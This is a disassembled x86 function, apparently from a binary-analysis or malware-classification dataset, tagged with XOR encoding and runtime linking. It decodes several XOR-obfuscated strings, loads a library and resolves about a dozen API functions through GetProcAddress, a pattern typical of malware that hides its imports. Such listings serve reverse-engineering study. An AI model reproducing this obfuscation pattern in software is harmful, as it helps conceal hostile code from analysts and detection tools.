Function at 0x41dd64
Capabilities:
Encode data using xor
Link many functions at runtime
Set current directory

Disassembly:
mov eax, 0x467252
call fcn.004656a0
sub esp, 0x17c
cmp byte [0x48b94c], 0
push ebx
push esi
push edi
mov edi, ecx
jne 0x41e52c
mov cl, 0x79
mov dword [ebp - 0x12], 0x150c1779
mov word [ebp - 0xe], 0x15
xor edx, edx
xor byte [ebp + edx - 0x11], cl
inc edx
cmp edx, 4
jae 0x41dda6
mov cl, byte [ebp - 0x12]
jmp 0x41dd97
lea edx, [ebp - 0x11]
mov byte [ebp - 0xd], 0
mov ecx, edi
call fcn.004130b1
xor ebx, ebx
inc ebx
test al, al
jne 0x41e4f0
cmp dword [0x488240], 0x10
mov edx, 0x48822c
mov ecx, 0x48813c
cmovae edx, dword [0x48822c]
cmp dword [0x488150], 0x10
cmovae ecx, dword [0x48813c]
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov byte [ebp - 0x40], 0
lea edx, [ebp - 0x10]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], eax
call fcn.00414112
pop ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x5c]
call fcn.00414960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
mov bl, al
call fcn.00412448
test bl, bl
jne 0x41e043
cmp dword [0x488150], 0x10
mov ebx, 0x48813c
mov esi, ebx
cmovae esi, dword [0x48813c]
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x24]
push eax
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
call fcn.004127d6
lea ecx, [ebp - 0x24]
call fcn.0040bf23
lea ecx, [ebp - 0x24]
call fcn.00412665
cmp dword [0x487fe8], 0x10
mov edx, 0x487fd4
mov ecx, ebx
cmovae edx, dword [0x487fd4]
cmp dword [0x488150], 0x10
cmovae ecx, dword [0x48813c]
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push 0xf
pop esi
xor ebx, ebx
mov dword [ebp - 0x48], esi
push eax
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
call fcn.004127d6
mov dword [ebp - 4], 1
cmp dword [edi + 0x14], 0x10
jb 0x41dedb
mov edi, dword [edi]
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
mov byte [ebp - 0x24], bl
call fcn.004127d6
lea edx, [ebp - 0x5c]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x24]
call fcn.0043130d
lea ecx, [ebp - 0x24]
call fcn.00412665
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00412665
cmp dword [0x488150], 0x10
mov edi, 0x48813c
mov esi, edi
cmovae esi, dword [0x48813c]
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp dword [0x487fe8], 0x10
mov edx, 0x487fd4
mov ecx, edi
cmovae edx, dword [0x487fd4]
cmp dword [0x488150], 0x10
cmovae ecx, dword [0x48813c]
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push ecx
push ecx
mov ecx, eax
call fcn.0041dbbb
mov esi, eax
or edx, 0xffffffff
lea eax, [ebp - 0x188]
mov ecx, esi
push eax
call fcn.0041dc7b
mov eax, dword [ebp - 0x188]
add esp, 0xc
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x41dfc8
lea eax, [ebp - 0x188]
mov edx, ebx
push eax
mov ecx, esi
call fcn.0041dc7b
push ecx
lea eax, [ebp - 0x184]
mov edx, ebx
push eax
mov ecx, esi
call fcn.0041dcb7
add esp, 0xc
inc ebx
cmp ebx, dword [ebp - 0x10]
jl 0x41df9e
test esi, esi
je 0x41dfda
cmp dword [esi], 1
jne 0x41dfda
mov ecx, esi
call fcn.0041dce6
jmp 0x41dfe1
mov ecx, esi
call fcn.0043b7d7
cmp dword [0x487fe8], 0x10
mov edx, 0x487fd4
mov ecx, edi
cmovae edx, dword [0x487fd4]
cmp dword [0x488150], 0x10
cmovae ecx, dword [0x48813c]
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x5c]
push eax
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
call fcn.004127d6
lea ecx, [ebp - 0x5c]
call fcn.0040bed4
lea ecx, [ebp - 0x5c]
call fcn.00412665
jmp 0x41e048
mov edi, 0x48813c
cmp dword [0x488240], 0x10
mov edx, 0x48822c
mov ecx, edi
cmovae edx, dword [0x48822c]
cmp dword [0x488150], 0x10
cmovae ecx, dword [0x48813c]
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov byte [ebp - 0x10], 0
lea edx, [ebp - 0x40]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x40], eax
call fcn.00414112
pop ecx
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 3
call fcn.00414960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
mov bl, al
call fcn.00412448
test bl, bl
je 0x41e4ed
cmp dword [0x488240], 0x10
mov edx, 0x48822c
mov ecx, edi
cmovae edx, dword [0x48822c]
cmp dword [0x488150], 0x10
cmovae ecx, dword [0x48813c]
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov byte [ebp - 0x10], 0
lea edx, [ebp - 0x40]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x40], eax
call fcn.00414112
pop ecx
push 4
pop esi
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], esi
call fcn.0041491c
test edx, edx
jne 0x41e126
cmp eax, 0x19000
ja 0x41e126
xor bl, bl
jmp 0x41e128
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
call fcn.00412448
test bl, bl
je 0x41e4ed
mov cl, 0x26
mov dword [ebp - 0x12], 0x72677626
mov word [ebp - 0xe], 0x6e
xor eax, eax
xor byte [ebp + eax - 0x11], cl
inc eax
cmp eax, esi
jae 0x41e15b
mov cl, byte [ebp - 0x12]
jmp 0x41e14d
lea eax, [ebp - 0x11]
mov byte [ebp - 0xd], 0
push eax
call fcn.004446ba
mov ebx, eax
pop ecx
test ebx, ebx
je 0x41e1e2
cmp dword [0x488150], 0x10
mov esi, edi
cmovae esi, dword [0x48813c]
call fcn.0043295d
push 0
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
push 0x47a240
push ebx
call fcn.00432c3c
add esp, 0x10
mov dword [ebp - 0x13], 0x392c3d6d
mov esi, eax
mov word [ebp - 0xf], 0x5025
xor eax, eax
mov dl, 0x6d
mov byte [ebp - 0xd], al
mov ecx, eax
xor byte [ebp + ecx - 0x12], dl
inc ecx
cmp ecx, 5
jae 0x41e1c5
mov dl, byte [ebp - 0x13]
jmp 0x41e1b6
push eax
mov byte [ebp - 0xd], al
lea eax, [ebp - 0x12]
push esi
push eax
call fcn.00432c3c
push eax
call fcn.004488ed
push esi
call fcn.0043d636
add esp, 0x14
cmp dword [0x488240], 0x10
mov edx, 0x48822c
cmovae edx, dword [0x48822c]
cmp dword [0x488150], 0x10
cmovae edi, dword [0x48813c]
mov ecx, edi
call fcn.004324c4
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x41e567
xor ebx, ebx
mov dword [ebp - 0x16], 0x6061b55
inc ebx
mov dword [ebp - 0x12], 0x3c3b1c0a
mov byte [0x48b94c], bl
mov cl, 0x55
mov word [ebp - 0xe], 0x21
xor eax, eax
xor byte [ebp + eax - 0x15], cl
inc eax
cmp eax, 8
jae 0x41e25b
mov cl, byte [ebp - 0x16]
jmp 0x41e24c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x15]
push eax
push esi
mov byte [ebp - 0xd], 0
call edi
mov dword [0x48b950], eax
mov cl, 0x66
mov dword [ebp - 0x1a], 0x35352866
xor eax, eax
mov dword [ebp - 0x16], 0x130e3539
mov dword [ebp - 0x12], 0x11090212
mov word [ebp - 0xe], 8
xor byte [ebp + eax - 0x19], cl
inc eax
cmp eax, 0xc
jae 0x41e29f
mov cl, byte [ebp - 0x1a]
jmp 0x41e290
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47ce50]
xor ecx, ecx
mov dword [0x48b96c], eax
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], 0x3c200e29
mov dword [ebp - 0x48], 0x312a2916
mov byte [ebp - 0x44], 0
mov al, byte [ebp - 0x5c]
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 0x17
jb 0x41e2ce
lea eax, [ebp - 0x5b]
mov byte [ebp - 0x44], 0
push eax
push esi
call edi
mov dword [0x48b970], eax
mov cl, 0x39
mov dword [ebp - 0x1b], 0x8726939
xor eax, eax
mov dword [ebp - 0x17], 0x4b7f6608
mov dword [ebp - 0x13], 0x556a5c5c
mov word [ebp - 0xf], 0x4d56
mov byte [ebp - 0xd], 0
xor byte [ebp + eax - 0x1a], cl
inc eax
cmp eax, 0xd
jae 0x41e31d
mov cl, byte [ebp - 0x1b]
jmp 0x41e30e
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xd], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47d0d0]
xor ecx, ecx
mov dword [0x48b960], eax
movups xmmword [ebp - 0x37], xmm0
mov word [ebp - 0x27], 0x4859
mov byte [ebp - 0x25], 0
mov al, byte [ebp - 0x37]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0x11
jb 0x41e344
lea eax, [ebp - 0x36]
mov byte [ebp - 0x25], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47d140]
xor ecx, ecx
mov dword [0x48b95c], eax
movups xmmword [ebp - 0x35], xmm0
mov byte [ebp - 0x25], 0
mov al, byte [ebp - 0x35]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0xf
jb 0x41e372
lea eax, [ebp - 0x34]
mov byte [ebp - 0x25], 0
push eax
push esi
call edi
push 0x6d
pop ecx
mov dword [0x48b958], eax
xor eax, eax
mov byte [ebp - 0x1a], cl
mov word [ebp - 0x19], 0x1c1e
mov byte [ebp - 0x17], bl
mov dword [ebp - 0x16], 0x5e081904
mov dword [ebp - 0x12], 0x81d0232
mov word [ebp - 0xe], 3
xor byte [ebp + eax - 0x19], cl
inc eax
cmp eax, 0xc
jae 0x41e3c3
mov cl, byte [ebp - 0x1a]
jmp 0x41e3b4
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47cd60]
xor ecx, ecx
mov dword [0x48b944], eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x41052c
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x12
jb 0x41e3e7
lea eax, [ebp - 0x37]
mov byte [ebp - 0x25], 0
push eax
push esi
call edi
push 0x20
pop ecx
mov dword [0x48b954], eax
xor eax, eax
mov byte [ebp - 0x1a], cl
mov dword [ebp - 0x19], 0x494c5153
mov dword [ebp - 0x15], 0x7f134554
mov dword [ebp - 0x11], 0x50455453
mov byte [ebp - 0xd], 0
xor byte [ebp + eax - 0x19], cl
inc eax
cmp eax, 0xc
jae 0x41e434
mov cl, byte [ebp - 0x1a]
jmp 0x41e425
lea eax, [ebp - 0x19]
mov byte [ebp - 0xd], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47d120]
xor ecx, ecx
mov dword [0x48b948], eax
movups xmmword [ebp - 0x39], xmm0
mov dword [ebp - 0x29], 0x78746978
mov byte [ebp - 0x25], 0
mov al, byte [ebp - 0x39]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x13
jb 0x41e45c
lea eax, [ebp - 0x38]
mov byte [ebp - 0x25], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47ce70]
xor ecx, ecx
mov dword [0x48b968], eax
movups xmmword [ebp - 0x36], xmm0
mov word [ebp - 0x26], 0x37
mov al, byte [ebp - 0x36]
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0x10
jb 0x41e48c
lea eax, [ebp - 0x35]
mov byte [ebp - 0x25], 0
push eax
push esi
call edi
push 0x66
pop ecx
mov dword [0x48b974], eax
xor eax, eax
mov byte [ebp - 0x33], cl
mov dword [ebp - 0x32], 0xf0a1715
mov dword [ebp - 0x2e], 0x39550312
mov dword [ebp - 0x2a], 0x15090a05
mov word [ebp - 0x26], 3
xor byte [ebp + eax - 0x32], cl
inc eax
cmp eax, 0xd
jae 0x41e4db
mov cl, byte [ebp - 0x33]
jmp 0x41e4cc
lea eax, [ebp - 0x32]
mov byte [ebp - 0x25], 0
push eax
push esi
call edi
mov dword [0x48b964], eax
jmp 0x41e4f0
xor ebx, ebx
inc ebx
cmp dword [0x48b950], 0
je 0x41e526
cmp dword [0x48b96c], 0
je 0x41e526
cmp dword [0x48b970], 0
je 0x41e526
cmp dword [0x48b95c], 0
je 0x41e526
cmp dword [0x48b958], 0
je 0x41e526
cmp dword [0x48b960], 0
jne 0x41e528
xor ebx, ebx
mov eax, ebx
jmp 0x41e569
cmp dword [0x48b950], 0
je 0x41e567
cmp dword [0x48b96c], 0
je 0x41e567
cmp dword [0x48b970], 0
je 0x41e567
cmp dword [0x48b95c], 0
je 0x41e567
cmp dword [0x48b958], 0
je 0x41e567
cmp dword [0x48b960], 0
je 0x41e567
xor eax, eax
inc eax
jmp 0x41e569
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret